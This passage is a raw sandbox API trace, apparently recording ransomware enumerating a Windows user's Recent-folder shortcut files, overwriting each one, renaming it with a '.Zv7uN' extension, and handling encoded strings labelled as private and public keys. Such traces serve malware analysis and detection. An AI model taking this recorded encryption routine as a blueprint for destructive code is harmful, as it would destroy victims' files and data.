xPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.543] GetCurrentThreadId () returned 0xa30 [0079.543] GetCurrentThreadId () returned 0xa30 [0079.543] GetCurrentThreadId () returned 0xa30 [0079.543] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\608WYNFO5klObV.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\608wynfo5klobv.ots.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.544] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.544] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.544] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x20bb [0079.544] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.544] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x20bb, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x20bb, lpOverlapped=0x0) returned 1 [0079.546] CloseHandle (hObject=0x124) returned 1 [0079.547] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\608WYNFO5klObV.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\608wynfo5klobv.ots.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.548] WriteFile (in: hFile=0x124, lpBuffer=0x1f90730*, nNumberOfBytesToWrite=0x20bb, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f90730*, lpNumberOfBytesWritten=0x18f978*=0x20bb, lpOverlapped=0x0) returned 1 [0079.551] CloseHandle (hObject=0x124) returned 1 [0079.572] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\608WYNFO5klObV.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\608wynfo5klobv.ots.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\608WYNFO5klObV.ots.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\608wynfo5klobv.ots.lnk.zv7un")) returned 1 [0079.573] GetCurrentThreadId () returned 0xa30 [0079.573] GetCurrentThreadId () returned 0xa30 [0079.573] GetCurrentThreadId () returned 0xa30 [0079.574] GetCurrentThreadId () returned 0xa30 [0079.574] GetCurrentThreadId () returned 0xa30 [0079.574] GetCurrentThreadId () returned 0xa30 [0079.574] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bf8b60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2bf8b60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2bf8b60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xedb, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="6Cqyf 6anxs_CSLAysE.lnk", cAlternateFileName="6CQYF6~1.LNK")) returned 1 [0079.574] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.574] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.574] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6Cqyf 6anxs_CSLAysE.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6cqyf 6anxs_cslayse.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bf8b60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2bf8b60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2bf8b60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xedb)) returned 1 [0079.574] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6Cqyf 6anxs_CSLAysE.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6cqyf 6anxs_cslayse.lnk")) returned 0x20 [0079.574] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6Cqyf 6anxs_CSLAysE.lnk", dwFileAttributes=0x80) returned 1 [0079.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0079.577] GetCurrentThreadId () returned 0xa30 [0079.577] GetCurrentThreadId () returned 0xa30 [0079.577] GetCurrentThreadId () returned 0xa30 [0079.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.578] GetCurrentThreadId () returned 0xa30 [0079.578] GetCurrentThreadId () returned 0xa30 [0079.578] GetCurrentThreadId () returned 0xa30 [0079.578] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6Cqyf 6anxs_CSLAysE.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6cqyf 6anxs_cslayse.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.579] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.579] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.579] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xedb [0079.579] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.579] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xedb, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xedb, lpOverlapped=0x0) returned 1 [0079.581] CloseHandle (hObject=0x124) returned 1 [0079.581] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6Cqyf 6anxs_CSLAysE.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6cqyf 6anxs_cslayse.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.583] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xedb, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xedb, lpOverlapped=0x0) returned 1 [0079.585] CloseHandle (hObject=0x124) returned 1 [0079.591] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6Cqyf 6anxs_CSLAysE.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6cqyf 6anxs_cslayse.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6Cqyf 6anxs_CSLAysE.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6cqyf 6anxs_cslayse.lnk.zv7un")) returned 1 [0079.593] GetCurrentThreadId () returned 0xa30 [0079.593] GetCurrentThreadId () returned 0xa30 [0079.593] GetCurrentThreadId () returned 0xa30 [0079.593] GetCurrentThreadId () returned 0xa30 [0079.593] GetCurrentThreadId () returned 0xa30 [0079.593] GetCurrentThreadId () returned 0xa30 [0079.593] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe22994c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe22994c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe22994c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf4d, dwReserved0=0x7a98342e, 